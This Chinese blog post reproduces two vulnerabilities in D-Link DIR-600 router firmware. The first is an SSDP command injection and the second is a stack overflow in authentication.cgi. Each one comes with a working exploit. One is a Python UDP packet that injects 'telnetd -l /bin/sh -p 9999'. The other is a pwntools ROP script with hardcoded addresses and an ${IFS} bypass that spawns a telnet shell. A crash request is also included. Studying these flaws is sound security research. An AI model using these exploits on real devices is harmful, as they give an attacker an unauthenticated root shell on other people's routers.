DIR-600漏洞复现

DRI-600 漏洞复现简要

漏洞一

  • 命令注入漏洞

漏洞分析

cgibin注册多个函数 , 我们定位到ssdpcgi_main函数,是一个基于SSDP 协议的服务,SSDP 协议是基于UDP协议的

SSDP 包结构

1
2
3
4
5
6
M-SEARCH * HTTP/1.1 # SSDP
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
ST: upnp:rootdevice
MX: 2

  • M-SEARCH 是 SSDP 的主动搜索指令
  • HOST: 告诉它你是发给 SSDP 组播地址(也可用局部设备IP)
  • MAN: "ssdp:discover":声明这是一条服务发现请求
  • ST: ssdp:all:声明你寻找所有类型的服务(也可以是 upnp:rootdeviceuuid:xxx
  • MX:SSDP 协议中 响应延迟时间

定位到这里,需要指定参数的都有命令注入风险

image-20250521165614204

通过格式化字符串,完成命令注入

image-20250521165731769

image-20250521165825883

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import socket
def config_payload(ip, port):
payload = (
b"M-SEARCH * HTTP/1.1\r\n"
+ f"HOST: {ip}:{port}\r\n".encode()
+ b"ST:uuid:;telnetd -l /bin/sh -p 9999\r\n"
+ b"MX: 2\r\n"
+ b'MAN:"ssdp:discover"\r\n'
+ b"\r\n"
)
return payload

def send_payload(ip, port):
try:
sock = socket.socket(
socket.AF_INET,
socket.SOCK_DGRAM,
socket.IPPROTO_UDP
)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
payload = config_payload(ip, port)
print(f"[*] Targeting {ip}:{port}")
sock.sendto(payload, (ip, port))
print("[+] Exploit packet sent successfully")
print("[*] Check telnet service on port 9999")

except Exception as e:
print(f"[-] Error: {str(e)}")
finally:
sock.close()

if __name__ == "__main__":
IP = "192.168.0.1"
SSDP_PORT = 1900
send_payload(IP, SSDP_PORT)

漏洞二

  • 栈溢出漏洞

漏洞分析

定位到认证函数authenticationcgi_main,这里获取id和password并没有进行长度验证,当进行strcpy的时候,就会发生栈溢出

image-20250521170224538

利用bp测试一下

1
2
3
4
5
6
7
8
9
10
GET /authentication.cgi?id=aaaaaa&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: uid=SdRpsGe1Do
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发现果然崩溃了

image-20250521170800716

接下来就构建rop链,需要控制返回地址和参数,从这个函数结尾可以看到,恢复压栈的参数,我们既然可以控制栈,当然可以控制这些参数,所以我们需要找到一个调用system代码段

image-20250521171806518

之前的命令注入漏洞就有一个代码段比较合适

image-20250521172210678

在构建ROP的时候有两个点需要注意

  1. strcpy会\x00截断,无法直接通过id来实现控制返回地址和参数
  2. password会对空格进行编码,需要绕过一下

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import requests

load_system = 0x00413F24
sh_addr = 0x43a190
id = b'a' * 0x81c + p32(load_system)
password = b'telnetd${IFS}-l${IFS}/bin/sh${IFS}-p${IFS}8888;'
password = password.ljust(0x400 , b'b') + p32(sh_addr)

url = "http://192.168.0.1/authentication.cgi"
params = {
"id" : id ,
"password" : password
}
response = requests.get(url = url , params = params).text
print(response)

所遇问题

  1. 漏洞挖掘有什么通用的挖洞思路?
  2. 怎么进行测试快速发现漏洞?
  3. 必备的技术栈有哪些?